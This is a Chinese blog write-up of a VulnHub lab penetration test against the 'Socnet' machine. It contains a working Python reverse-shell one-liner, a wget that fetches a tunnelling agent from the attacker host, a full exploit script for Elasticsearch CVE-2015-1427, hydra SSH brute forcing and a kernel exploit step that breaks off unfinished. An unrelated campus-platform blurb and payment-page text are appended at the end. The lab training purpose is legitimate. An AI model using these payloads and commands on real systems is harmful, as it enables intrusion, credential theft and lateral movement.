VulnHub打靶记录——Socnet

本文详细描述了一次渗透测试过程,包括设置靶机为NAT模式,使用nmap进行信息收集,发现开放端口并进行服务识别。后续通过内网探测、内网穿透,利用漏洞获取shell,执行python脚本,最终在Docker容器中进行提权和内网攻击。
摘要由CSDN通过智能技术生成

靶机下载地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/

将靶机设置为NAT模式并启动。

主机发现&信息收集

靶机和 kali 在同一网段,使用nmap扫描网段主机,

nmap 192.168.50.1/24

在这里插入图片描述

其中192.168.50.130是本机,猜测192.168.50.135是靶机。

接着收集靶场信息:

nmap -sV -Pn -O 192.168.50.135

在这里插入图片描述
发现开放了22,5000端口,22是ssh,5000是python框架Werkzeug开发的HTTP服务,操作系统探测的是linux3.2-4.9。

访问5000端口,看下web服务,页面如下,测试没有什么突破点,仅仅可以输入输出
在这里插入图片描述
因为是http服务,猜测可能存在其他隐藏路径,使用 dirsearch 扫描下路径,扫描发现存在 /admin 路径,
在这里插入图片描述
发现这是一个管理员的页面,可以执行任意的代码,结合靶机环境尝试执行python脚本反弹shell。

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.50.130",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

在这里插入图片描述
成功反弹shell,而且是root权限,但查看文件时发现了一个 Dockerfile 文件,并且这里的ip地址和我们的靶机不一致
在这里插入图片描述
怀疑可能为蜜罐或者docker容器,需要进一步确认。

  1. 查看 Dockerfile 文件 cat Dockerfile ,内容如下,判断可能是docker
    在这里插入图片描述

  2. 进一步判断,查看根目录下是否有 dockerenv ,ls /.dockerenv ,发现存在,判断90%是docker容器

  3. 最后判断, cat /proc/1/cgroup ,如果 cgroup 内有 docker 文件判断就是docker容器。
    在这里插入图片描述

判断依据: Linux 初始化进程时, PID=1 代表的是初始化进程的ID,如果1进程下面的 cgroup 文件包含docker文件,就说明这是个docker系统

发现/proc/1/cgroup下有关于docker容器的hash值,可以判断处于docker容器中,也就是处于内网,那么进行内网探测。

内网发现

因为处于内网,而且这里的子网掩码有16位,那么使用一个ping -c 1 ip去探测会过于漫长,这里使用循环代码进行探测。

使用linux发现一个网段就行,正常测试时要访问所有

//windows
//发现一个网段
for /l %i in (1,1,10) do ping -n 1 172.17.0.%i
//发现两个网段
for /l %i in (1,1,3) do for /l %j in (1,1,3) do ping -n 1 192.168.%i.%j
//linux
//发现一个网段
for i in $(seq 1 10);do ping -c 1 172.17.0.$i;done
//发现两个网段
for i in $(seq 1 10);do (for j in $(seq 1 10 );do ping -c 1
172.17.$i.$j;done)done

为了节省时间,这里只探测了1-10的ip地址
在这里插入图片描述
经测试,只有1和2回包,3是目前所在的靶机,那么内网共有三台主机,172.17.0.1、172.17.0.2、172.17.0.3

内网穿透

在发现了内网主机之后,需要对它们进行扫描,来判断各个主机上面的情况,但我们和内网默认是无法通信的,此时就需要做内网穿透,做个代理,让我们能够访问到内网主机。

使用 Venom 穿透工具来实现此功能,工具下载

kali的是x64的,那么在venom的目录下,输入,监听8888端口

./admin_linux_x64 -lport 8888

进到 Venmo 文件夹下,开启 http 服务:这一步是为了让靶机能够下载 agent 文件,哪个端口都行

 python3 -m http.server 8080

在这里插入图片描述
通过拿到的 shell 把agent_linux_x64下载到靶机

wget http://192.168.50.130:8080/agent_linux_x64

在这里插入图片描述
客户端服务开启:

chmod +x agent_linux_x64 给予执行权限

./agent_linux_x64 -rhost 192.168.50.130 -rport 8888 

这个要和刚才监听的端口一致
在这里插入图片描述
客户端设置好了之后, kali 上服务端就会收到链接,使用show命令去查找节点,然后使用goto去连接这个节点,同时另外启动一个侦听端口 socks 1080,方便我们链接进来
在这里插入图片描述
至此代理就已经设置好了。

代理利用

使用proxychains4工具去设置代理,访问靶机内网

修改 kali上的 /etc/proxychains4.conf 文件

vim /etc/proxychains.conf 修改为sock5 127.0.0.1 1080(venom开启的socks监听)
在这里插入图片描述
SOCKS4只支持TCP应用,而SOCKS5支持TCP和UDP应用

内网横向扩展

下面挂代理使用 nmap 进行扫描,

proxychains nmap -sT -sV -Pn -O 172.17.0.1

注:-sT:对TCP进行端口扫描。这里必须要加 -sT。

在这里插入图片描述
对 172.17.0.1 的扫描结果发现端口和服务信息都和前面 192.168.50.135 的信息一样,由此判断 172.17.0.1 是docker宿主机面向内网的ip,使用浏览器挂代理访问下
在这里插入图片描述
在这里插入图片描述
确定172.17.0.1就是宿主主机,也就是我们的目标。

再对另外的主机进行扫描,

proxychains nmap -sT -sV -Pn -O 172.17.0.2

在这里插入图片描述
发现开了一个9200端口,是 Elasticsearch 服务且版本较老,查看是否有漏洞和可以利用的脚本文件

searchsploit Elasticsearch 

在这里插入图片描述
将第一个复制到当前路径下

searchsploit -m 36337.py ./

vim 36337.py 看下,发现是采用 python2 写的,我这里 python2 跑不了,于是改成了python3,代码如下:

#!/usr/bin/env python3
# coding: utf-8
# Version: 20150309.1
# Licence: WTFPL - wtfpl.net
import json
import requests
import sys

__version__ = "20150309.1"

def banner():
    print("""\x1b[1;32m
▓█████  ██▓    ▄▄▄        ██████ ▄▄▄█████▓ ██▓ ▄████▄    ██████  ██░ ██ ▓█████  ██▓     ██▓    
▓█   ▀ ▓██▒   ▒████▄    ▒██    ▒ ▓  ██▒ ▓▒▓██▒▒██▀ ▀█  ▒██    ▒ ▓██░ ██▒▓█   ▀ ▓██▒    ▓██▒    
▒███   ▒██░   ▒██  ▀█▄  ░ ▓██▄   ▒ ▓██░ ▒░▒██▒▒▓█    ▄ ░ ▓██▄   ▒██▀▀██░▒███   ▒██░    ▒██░    
▒▓█  ▄ ▒██░   ░██▄▄▄▄██   ▒   ██▒░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒  ▒   ██▒░▓█ ░██ ▒▓█  ▄ ▒██░    ▒██░    
░▒████▒░██████▒▓█   ▓██▒▒██████▒▒  ▒██▒ ░ ░██░▒ ▓███▀ ░▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒
░░ ▒░ ░░ ▒░▓  ░▒▒   ▓▒█░▒ ▒▓▒ ▒ ░  ▒ ░░   ░▓  ░ ░▒ ▒  ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓  ░░ ▒░▓  ░
 ░ ░  ░░ ░ ▒  ░ ▒   ▒▒ ░░ ░▒  ░ ░    ░     ▒ ░  ░  ▒   ░ ░▒  ░ ░ ▒ ░▒░ ░ ░ ░  ░░ ░ ▒  ░░ ░ ▒  ░
   ░     ░ ░    ░   ▒   ░  ░  ░    ░       ▒ ░░        ░  ░  ░   ░  ░░ ░   ░     ░ ░     ░ ░   
   ░  ░    ░  ░     ░  ░      ░            ░  ░ ░            ░   ░  ░  ░   ░  ░    ░  ░    ░  ░
                                              ░                                                
 Exploit for ElasticSearch , CVE-2015-1427   Version: %s\x1b[0m""" % (__version__))

def execute_command(target, command):
    payload = """{"size":1, "script_fields": {"lupin":{"script": "java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"}}}""" % (command)
    try:
        url = "http://%s:9200/_search?pretty" % (target)
        r = requests.post(url=url, data=payload)
    except Exception as e:
        sys.exit("Exception Hit" + str(e))
    values = json.loads(r.text)
    fuckingjson = values['hits']['hits'][0]['fields']['lupin'][0]
    print(fuckingjson.strip())

def exploit(target):
    print("{*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something")
    while True:
        cmd = input("~$ ")
        if cmd == "exit":
            sys.exit("{!} Shell exiting!")
        else:
            execute_command(target=target, command=cmd)

def main(args):
    banner()
    if len(args) != 2:
        sys.exit("Use: %s target" % (args[0]))
    exploit(target=args[1])

if __name__ == "__main__":
    main(args=sys.argv)
proxychains python3 36337.py 172.17.0.2

在这里插入图片描述
成功拿到172.17.0.2 shell,简单搜索一下,发现当前目录下有passwords文件,查看,发现有用户和密码
在这里插入图片描述
密码md5加密了,在线解密一下,得到:

1337hack
1234test
1111pass
1234pass
1234jane

尝试使用 hydra对192.168.5.1进行 ssh 爆破

将账号和密码分别保存到两个文本,

hydra -L user.txt -P pass.txt ssh://192.168.50.135

在这里插入图片描述
发现 john 1337hack可以登录,ssh登录
在这里插入图片描述
成功登陆,尝试直接升级 root 用户失败,只是普通用户,后面还要本地提权。

本地提权

提权常用的是利用 linux 内核来提权,ssh登陆时可以看到内核版本,也可以使用命令 uname -a 查看内核版本

john@socnet:~$ uname -a
Linux socnet 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

搜索内核版本查找exp, searchsploit linux 3.13
在这里插入图片描述
选择 37292.c 来利用,将文件复制到当前文件夹下

searchsploit -m 37292.c ./

vim 看一下,发现代码末尾会调用gcc来编译 ofs-lib.c 文件,这个操作在靶机上是会报错的,因为靶机上没有 gcc 环境。

在这里插入图片描述

  • 27
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
校园悬赏任务平台对字典管理、论坛管理、任务资讯任务资讯公告管理、接取用户管理、任务管理、任务咨询管理、任务收藏管理、任务评价管理、任务订单管理、发布用户管理、管理员管理等进行集中化处理。经过前面自己查阅的网络知识,加上自己在学校课堂上学习的知识,决定开发系统选择小程序模式这种高效率的模式完成系统功能开发。这种模式让操作员基于浏览器的方式进行网站访问,采用的主流的Java语言这种面向对象的语言进行校园悬赏任务平台程序的开发,在数据库的选择上面,选择功能强大的Mysql数据库进行数据的存放操作。校园悬赏任务平台的开发让用户查看任务信息变得容易,让管理员高效管理任务信息。 校园悬赏任务平台具有管理员角色,用户角色,这几个操作权限。 校园悬赏任务平台针对管理员设置的功能有:添加并管理各种类型信息,管理用户账户信息,管理任务信息,管理任务资讯公告信息等内容。 校园悬赏任务平台针对用户设置的功能有:查看并修改个人信息,查看任务信息,查看任务资讯公告信息等内容。 系统登录功能是程序必不可少的功能,在登录页面必填的数据有两项,一项就是账号,另一项数据就是密码,当管理员正确填写并提交这二者数据之后,管理员就可以进入系统后台功能操作区。项目管理页面提供的功能操作有:查看任务,删除任务操作,新增任务操作,修改任务操作。任务资讯公告信息管理页面提供的功能操作有:新增任务资讯公告,修改任务资讯公告,删除任务资讯公告操作。任务资讯公告类型管理页面显示所有任务资讯公告类型,在此页面既可以让管理员添加新的任务资讯公告信息类型,也能对已有的任务资讯公告类型信息执行编辑更新,失效的任务资讯公告类型信息也能让管理员快速删除。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值